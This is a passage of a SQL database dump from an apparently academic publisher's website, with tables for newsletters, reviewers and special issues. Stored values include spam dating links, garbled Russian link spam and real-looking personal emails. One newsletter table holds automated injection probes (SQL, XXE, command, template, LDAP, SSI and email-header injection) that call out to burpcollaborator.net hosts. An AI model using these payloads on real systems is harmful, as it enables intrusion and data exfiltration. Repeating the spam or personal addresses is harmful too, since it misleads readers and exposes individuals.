????????????? ????????????? ????? ?????? ??????????????, ????? ??????? - ????????????? ??????????? ? ???????????? ????????????. \r\n \r\n????? ??? ?????? ????? ??????, ?? ?????? ????? ??????? ???? ?? ????? ??? ?????? ? ??? ???????? ? ????? ????? ????? ? ????? ????? ?????????: \r\n<a>https://collonil.ru/forum/?PAGE_NAME=profile_view&UID=6769</a>\r\n<a>http://xn----7sbbdrwao3cago9f0e.xn--p1ai/forum/index.php?PAGE_NAME=profile_view&UID=5729</a>\r\n<a>http://petrgosk.ru/communication/forum/user/3029/</a>\r\n<a>http://www.red-ship.com/forum/index.php?PAGE_NAME=profile_view&UID=41832</a>\r\n<a>http://xn--55-9kc6ck.xn--p1ai/communication/forum/user/4496/</a>\r\n<a>http://xn--80ajjlhchaipiexs.xn--p1ai/forum/user/3148/</a>\r\n<a>https://bayramix.su/forum/user/3599/</a>\r\n<a>http://www.pozdr.ru/forum/?PAGE_NAME=profile_view&UID=15668</a>\r\n<a>http://mir-stoleshki.moscow/forum/user/8815/</a>\r\n<a>http://et35.ru/communication/forum/user/33/</a>\r\n','2019-03-27 06:35:36'),(188,'MiguelSar','sherylhawkins@msn.com','Beautiful women for sex in your town: http://to.ht/adultdatinginyourcity49806','2019-03-27 18:03:06'),(189,'Williamzet','ali.siddiqui@century21.com','Meet sexy girls in your city: http://webhop.se/adultdatinginyourcity77227','2019-03-27 18:10:15'),(190,'Santosjum','navinb6@yahoo.com','Find yourself a girl for the night in your city: http://webhop.se/bestadultdating80729','2019-03-28 06:35:30'),(191,'JavierDug','shananc@msn.com','The best women for sex in your town: https://lil.ink/bestadultdating24052','2019-03-28 08:10:50');

/*Table structure for table `news_article` */

DROP TABLE IF EXISTS `news_article`;

CREATE TABLE `news_article` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `title` varchar(250) DEFAULT NULL,
  `description` varchar(250) DEFAULT NULL,
  `link` varchar(250) DEFAULT NULL,
  `status` int(11) DEFAULT '1',
  `create_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `update_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  `create_by` int(11) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

/*Data for the table `news_article` */

/*Table structure for table `newsletters` */

DROP TABLE IF EXISTS `newsletters`;

CREATE TABLE `newsletters` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(250) DEFAULT NULL,
  `email` varchar(250) DEFAULT NULL,
  `reason` text,
  `status` int(11) DEFAULT '1',
  `create_at` datetime DEFAULT NULL,
  `update_at` datetime DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=48 DEFAULT CHARSET=latin1;

/*Data for the table `newsletters` */

insert  into `newsletters`(`id`,`name`,`email`,`reason`,`status`,`create_at`,`update_at`) values (1,'Prudvi','prudhvi0417@gmail.com',NULL,1,'2018-09-03 19:02:57','2018-09-03 19:02:57'),(2,'Naoshi Sakai','nsakai@seagreen.ocn.ne.jp',NULL,1,'2018-11-05 19:44:35','2018-11-05 19:44:35'),(3,'info23','info23@cantatic.com',NULL,1,'2018-11-05 23:42:44','2018-11-05 23:42:44'),(4,'domstates.su','domstates.su',NULL,1,'2018-11-18 23:06:47','2018-11-18 23:06:47'),(5,'grfpublishers.biz','grfpublishers.biz@domstates.su',NULL,1,'2018-11-19 18:03:57','2018-11-19 18:03:57'),(6,'grfpublishers.com','grfpublishers.com@domstates.su',NULL,1,'2018-12-17 05:58:59','2018-12-17 05:58:59'),(7,'grfpublishers.net','grfpublishers.net@domstates.su',NULL,1,'2019-03-04 09:41:53','2019-03-04 09:41:53'),(8,'zakir aliyev','zakirakdemik@mail.ru',NULL,1,'2019-03-18 18:50:22','2019-03-18 18:50:22'),(9,'grfpublishers.org','grfpublishers.org@domstates.su',NULL,1,'2019-03-22 10:51:35','2019-03-22 10:51:35'),(10,'Peter Winter','winter@example.com',NULL,1,'2019-03-24 17:04:21','2019-03-24 17:04:21'),(11,'Peter Winter','4dyqslbse0',NULL,1,'2019-03-24 17:20:51','2019-03-24 17:20:51'),(12,'Peter Winter','winter@example.com97zbo24hmy',NULL,1,'2019-03-24 17:20:52','2019-03-24 17:20:52'),(13,'Peter Winter','(select extractvalue(xmltype(\'&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;&lt;!DOCTYPE root [ &lt;!ENTITY % mijho SYSTEM \"http://042hl3eyarra79z4dph59utvqmwfki8av2jr.burpcollab\'||\'orator.net/\">%mijho;]>\'),\'/l\') from dual)',NULL,1,'2019-03-24 17:20:53','2019-03-24 17:20:53'),(14,'Peter Winter','winter@example.com\'||(select extractvalue(xmltype(\'&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;&lt;!DOCTYPE root [ &lt;!ENTITY % mijho SYSTEM \"http://z22gj2cx8qp958x3bof47truolueii6at2hr.burpcollab\'||\'orator.net/\">%mijho;]>\'),\'/l\') from dual)||\'',NULL,1,'2019-03-24 17:20:56','2019-03-24 17:20:56'),(15,'Peter Winter','winter@example.com;declare @q varchar(99);set @q=\'\\\\\\\\jby0smlhhaytes6nk8oogd0ex53yrphd901oq.burpcollab\'+\'orator.net\\awz\'; exec master.dbo.xp_dirtree @q;-- ',NULL,1,'2019-03-24 17:21:00','2019-03-24 17:21:00'),(16,'Peter Winter','winter@example.com\';declare @q varchar(99);set @q=\'\\\\\\\\4rwl8712xveeudm80t49wygzdqjj7ayyqli97.burpcollab\'+\'orator.net\\qlr\'; exec master.dbo.xp_dirtree @q;-- ',NULL,1,'2019-03-24 17:21:02','2019-03-24 17:21:02'),(17,'Peter Winter','winter@example.com);declare @q varchar(99);set @q=\'\\\\\\\\3mqk36w1su9dpch7vsz8rxby8pei29uxmke83.burpcollab\'+\'orator.net\\xpd\'; exec master.dbo.xp_dirtree @q;-- ',NULL,1,'2019-03-24 17:21:03','2019-03-24 17:21:03'),(18,'Peter Winter','winter@example.com\');declare @q varchar(99);set @q=\'\\\\\\\\yxzfe17w3pk807s26na32smtjkpdd46syfq3f.burpcollab\'+\'orator.net\\lch\'; exec master.dbo.xp_dirtree @q;-- ',NULL,1,'2019-03-24 17:21:06','2019-03-24 17:21:06'),(19,'Peter Winter','(select load_file&#40;\'\\\\\\\\h5nymkffb8sr8q0le6imabucr3xwlnnbfy7mw.burpcollaborator.net\\\\vxp\'&#41;)',NULL,1,'2019-03-24 17:21:09','2019-03-24 17:21:09'),(20,'Peter Winter','y8ms2${847*550}b2geu',NULL,1,'2019-03-24 17:23:14','2019-03-24 17:23:14'),(21,'Peter Winter','s3qo5{{966*476}}dx66d',NULL,1,'2019-03-24 17:23:16','2019-03-24 17:23:16'),(22,'Peter Winter','winter@example.com}}t3akv\'/\"&lt;gqzzz',NULL,1,'2019-03-24 17:23:20','2019-03-24 17:23:20'),(23,'Peter Winter','winter@example.com%}bory0\'/\"&lt;vbv0n',NULL,1,'2019-03-24 17:23:23','2019-03-24 17:23:23'),(24,'Peter Winter','winter@example.comm3qu8%>s11ps\'/\"&lt;kotod',NULL,1,'2019-03-24 17:23:27','2019-03-24 17:23:27'),(25,'Peter Winter','winter@example.com\'+sleep(20.to_i)+\'',NULL,1,'2019-03-24 17:23:31','2019-03-24 17:23:31'),(26,'Peter Winter','winter@example.com\'+eval&#40;compile(\'for x in range(1&#41;:\\n import time\\n time.sleep(20)\',\'a\',\'single\'))+\'',NULL,1,'2019-03-24 17:23:34','2019-03-24 17:23:34'),(27,'Peter Winter','http://winter@e1gvihbc75oo4nwia3ej68q9n0tthj5bs3gs.burpcollaborator.net/?example.com',NULL,1,'2019-03-24 17:25:39','2019-03-24 17:25:39'),(28,'Peter Winter','winter@example.com|nslookup -q=cname bm1s3ew9s29lpkhfv0zgr5b68xeq2mqed61v.burpcollaborator.net.&',NULL,1,'2019-03-24 17:25:41','2019-03-24 17:25:41'),(29,'Peter Winter','winter@example.com\'\"`0&nslookup -q=cname sc89tvmqijz2f17wlhpxhm1nye47s4gw3ord.burpcollaborator.net.&`\'',NULL,1,'2019-03-24 17:25:44','2019-03-24 17:25:44'),(30,'Peter Winter','winter@example.com&nslookup -q=cname i8rzplige9vsbr3mh7lndcxdu40xosckzcn1.burpcollaborator.net.&\'\\\"`0&nslookup -q=cname i8rzplige9vsbr3mh7lndcxdu40xosckzcn1.burpcollaborator.net.&`\'',NULL,1,'2019-03-24 17:25:52','2019-03-24 17:25:52'),(31,'Peter Winter','winter@example.com|echo ionv9hxq6m ewbl3ggwxu||a #\' |echo ionv9hxq6m ewbl3ggwxu||a #|\" |echo ionv9hxq6m ewbl3ggwxu||a #',NULL,1,'2019-03-24 17:25:58','2019-03-24 17:25:58'),(32,'Peter Winter','winter@example.com&echo 7c42xomq76 8sywlao0e2&',NULL,1,'2019-03-24 17:26:00','2019-03-24 17:26:00'),(33,'Peter Winter','winter@example.com\"|echo m7uktevb8x 18pvc64lpl ||',NULL,1,'2019-03-24 17:26:02','2019-03-24 17:26:02'),(34,'Peter Winter','n1d743wgkx)(objectClass=*',NULL,1,'2019-03-24 17:28:06','2019-03-24 17:28:06'),(35,'Peter Winter','t2p1gkrtgc)(!(objectClass=*)',NULL,1,'2019-03-24 17:28:07','2019-03-24 17:28:07'),(36,'Peter Winter','*)(objectClass=*',NULL,1,'2019-03-24 17:28:07','2019-03-24 17:28:07'),(37,'Peter Winter','*)(!(objectClass=*)',NULL,1,'2019-03-24 17:28:08','2019-03-24 17:28:08'),(38,'Peter Winter','<vts xss=removed xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://a.b/ http://01zhi3by7roa49w4ape56uqvnmtfhf57szgo.burpcollaborator.net/vts.xsd\">vts</vts>',NULL,1,'2019-03-24 17:28:08','2019-03-24 17:28:08'),(39,'Peter Winter','<egu xmlns:xi=\"http://www.w3.org/2001/XInclude\"><xi href=\"http://ryt8fu8p4il110tv7gbw3lnmkdq6e72zprdg.burpcollaborator.net/foo\"></egu>',NULL,1,'2019-03-24 17:28:09','2019-03-24 17:28:09'),(40,'Peter Winter','winter@example.com]]>><',NULL,1,'2019-03-24 17:28:10','2019-03-24 17:28:10'),(41,'Peter Winter','winter@example.com\'+(function(){if(typeof gwnoe===\"undefined\"){var a=new Date();do{var b=new Date();}while(b-a&lt;20000);gwnoe=1;}}())+\'',NULL,1,'2019-03-24 17:28:10','2019-03-24 17:28:10'),(42,'Peter Winter','\"--&gt;\'--&gt;`--&gt;&lt;!--#set var=\"t0j\" value=\"szi9gv9q5j\"--&gt;&lt;!--#set var=\"v2l\" value=\"u1kbixbs7l\"--&gt;&lt;!--#echo var=\"t0j\"--&gt;&lt;!--#echo var=\"v2l\"--&gt;&lt;!--#exec cmd=\"nslookup -q=cname fm5w3iwds69ppohjv4zkr9ba81eu2m0asxkl9.burpcol',NULL,1,'2019-03-24 17:28:11','2019-03-24 17:28:11'),(43,'Peter Winter','winter@example.com\r\nBCC:as6r9d28y1fkvjne1z5fx4h5ewkp8h15tslga@burpcollaborator.net\r\nwrl: m',NULL,1,'2019-03-24 17:28:12','2019-03-24 17:28:12'),(44,'Peter Winter','winter@example.com>\r\nBCC:3nrk46x1tuadqci7ws08sxcy9pfi3axyplh96@burpcollaborator.net\r\ncgh: q',NULL,1,'2019-03-24 17:28:12','2019-03-24 17:28:12'),(45,'Peter Winter','ke21vnoikb1uht9on9rpje3f066zurpfh29qy@burpcollaborator.net',NULL,1,'2019-03-24 17:28:13','2019-03-24 17:28:13'),(46,'Peter Winter','O:3:\"PDO\":0:{}',NULL,1,'2019-03-24 17:28:13','2019-03-24 17:28:13'),(47,'Peter Winter','TzozOiJQRE8iOjA6e30=',NULL,1,'2019-03-24 17:28:14','2019-03-24 17:28:14');

/*Table structure for table `published_gallery` */

DROP TABLE IF EXISTS `published_gallery`;

CREATE TABLE `published_gallery` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `image` varchar(250) DEFAULT NULL,
  `alt_tags` varchar(250) DEFAULT NULL,
  `status` int(11) DEFAULT NULL,
  `create_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `update_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  `create_by` int(11) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

/*Data for the table `published_gallery` */

/*Table structure for table `reviewerboard` */

DROP TABLE IF EXISTS `reviewerboard`;

CREATE TABLE `reviewerboard` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `category` varchar(45) DEFAULT NULL,
  `journal` varchar(45) DEFAULT NULL,
  `name` varchar(250) DEFAULT NULL,
  `university` varchar(250) DEFAULT NULL,
  `country` varchar(250) DEFAULT NULL,
  `reviewer_board` text,
  `designation` varchar(250) DEFAULT NULL,
  `image` varchar(250) DEFAULT NULL,
  `status` int(11) DEFAULT '1',
  `craete_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `update_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  `create_by` int(11) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=latin1;

/*Data for the table `reviewerboard` */

insert  into `reviewerboard`(`id`,`category`,`journal`,`name`,`university`,`country`,`reviewer_board`,`designation`,`image`,`status`,`craete_at`,`update_at`,`create_by`) values (1,'20','15','Giuseppina Lagana','University of Rome Tor Vergata','Italy','',NULL,'1553249684.jpg',1,'2019-03-22 03:14:44','2019-03-22 03:14:44',1),(2,'20','15','Riaud Xavier','National Academy of Dental Surgery','France','',NULL,'1553249871.jpg',1,'2019-03-22 03:17:50','2019-03-22 03:17:50',1);

/*Table structure for table `special_issue` */

DROP TABLE IF EXISTS `special_issue`;

CREATE TABLE `special_issue` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `journal_id` int(11) DEFAULT NULL,
  `journal_cat_id` int(11) DEFAULT NULL,
  `title` varchar(250) DEFAULT NULL,
  `details` text,
  `status` int(11) DEFAULT NULL,
  `create_at` datetime DEFAULT NULL,
  `update_at` datetime DEFAULT NULL,
  `create_by` int(11) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;

/*Data for the table `special_issue` */

insert  into `special_issue`(`id`,`journal_id`,`journal_cat_id`,`title`,`details`,`status`,`create_at`,`update_at`,`create_by`) values (6,14,20,'Clinical Oncology Research Journal (CORJ)','<h3><a href=\"https://www.gavinpublishers.com/journals/articleprocessfee/journal-of-urology-and-renal-diseases-ISSN-2575-7903#\"><strong>Article Submission Guidelines </strong></a></h3>\r\n\r\n<p><strong>Manuscript Title</strong></p>\r\n\r\n<p>Manuscript title limit should not exceed 28 words. It should not contain abbreviations and the title should be a brief phrase which describes the contents present in the article.</p>\r\n\r\n<p><strong>Details of the Author</strong></p>\r\n\r\n<p>The details (full names and affiliations) of all the authors should be given in the manuscript. For corresponding author details (<strong>Live </strong>address with <strong>Telephone</strong>, <strong>Fax</strong> and <strong>E- mail </strong>address) should be provided in the manuscript.</p>\r\n\r\n<p><strong>Image Submission:</strong></p>\r\n\r\n<p>Images with high resolutions must be submitted by the author. Authors should take full responsibility for copyrighted images during submission and publication process.Clinical and Medical Imaging is an open access journal publishing research/original submissions, reviews, brief reports, case studies, rapid communications, letters to the editor etc. related to basic, experimental and clinical aspects of research.</p>\r\n\r\n<p><strong>Submission:</strong></p>\r\n\r\n<p>Submit your contribution through contact@gavinpublishers.org</p>\r\n\r\n<p><strong>Instructions to be followed:</strong></p>\r\n\r\n<ol>\r\n <li>A brief title describing, content of the image.</li>\r\n <li>Images must be submitted in TIFF, PDF or PPT.</li>\r\n <li>The description regarding the image must be limited (250 words).</li>\r\n <li>Images should be captured at the following minimum resolutions: halftones and colour (all colour must be RGB) 100-200 dpi; combination halftones 350 dpi; line art 500 dpi to match the journal criteria.</li>\r\n <li>Citations/References (URL) should be mentioned properly.</li>\r\n</ol>\r\n\r\n<p><strong>Presentation:</strong></p>\r\n\r\n<p>Presentation is a means of communication that helps a person to disclose his work under a broad spectrum of clinical and medical sciences. Presentations are of three types: Power Point Presentation, Flow Chart and Poster presentation.</p>\r\n\r\n<p><strong>Figures and Tables</strong></p>\r\n\r\n<p><strong>Figures:</strong></p>\r\n\r\n<p>Suggested formats for figures should be in bitmap formats (JPEG, GIF, TIFF, etc.). Please send us the Photoshop indexes, in case the pictures need any differential segments on distinctive layers.</p>\r\n\r\n<p><strong>Figure Legends:</strong></p>\r\n\r\n<p>Use numerical to designate figures (e.g., Figure 1). Use justifiable description, if necessary.</p>\r\n\r\n<p><strong>Figure Quality:</strong></p>\r\n\r\n<p>During submissions, figures are supposed to be at sufficient quality, preferably as JPEGs.</p>\r\n\r\n<p><strong>Tables:</strong></p>\r\n\r\n<p>Tables can be included in the text, if not submitted as a separate file, oriented in portrait form (not landscape) and upright on the page, not sideways.</p>\r\n\r\n<p><strong>Table Legends:</strong></p>\r\n\r\n<p>Use numerical to designate tables (e.g., Table 1). Use justifiable description, if necessary.</p>\r\n\r\n<p><strong>Equations as Graphics:</strong></p>\r\n\r\n<p>If equations cannot be encoded in MathML, submit them in TIFF or EPS format as discrete files (i.e., a file containing only the data for one equation). Only when tables cannot be encoded as XML/SGML can they be submitted as graphics. If this method is used, it is critical that the font size in all equations and tables is consistent and legible throughout all submissions.</p>\r\n\r\n<ol>\r\n <li>Suggested Equation Extraction Method</li>\r\n</ol>\r\n\r\n<p> \r\n<p> </p>\r\n</p>\r\n',1,'2018-06-28 22:18:02','2018-06-28 22:18:02',1);

/*Table structure for table `testimonial` */

DROP TABLE IF EXISTS `testimonial`;

CREATE TABLE `testimonial` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(250) DEFAULT NULL,
  `professional` varchar(250) DEFAULT NULL,
  `image` varchar(250) DEFAULT NULL,
  `description` text,
  `status` int(11) DEFAULT NULL,
  `create_at` datetime DEFAULT NULL,
  `update_at` datetime DEFAULT NULL,
  `create_by` int(11) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

/*Data for the table `testimonial` */

/*Table structure for table `updates` */

DROP TABLE IF EXISTS `updates`;

CREATE TABLE `updates` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `title` varchar(250) DEFAULT NULL,
  `updates` text,
  `status` int(11) DEFAULT NULL,
  `create_at` datetime DEFAULT NULL,
  `update_at` datetime DEFAULT NULL,
  `create_by` int(11) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=latin1;

/*Data for the table `updates` */

insert  into `updates`(`id`,`title`,`updates`,`status`,`create_at`,`update_at`,`create_by`) values (1,'1st International Conference on Artificial Intelligence & Robotics','Launching on March 15th',1,'2019-03-03 00:45:54',NULL,1),(2,'1st International Summit on Gastroenterology','Launching on March 15th',1,'2019-03-03 00:46:37',NULL,1),(3,'1st International Conference on Oil,Gas And Petrochemical Engineering','Launching on March 15th',1,'2019-03-03 00:47:02',NULL,1);

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
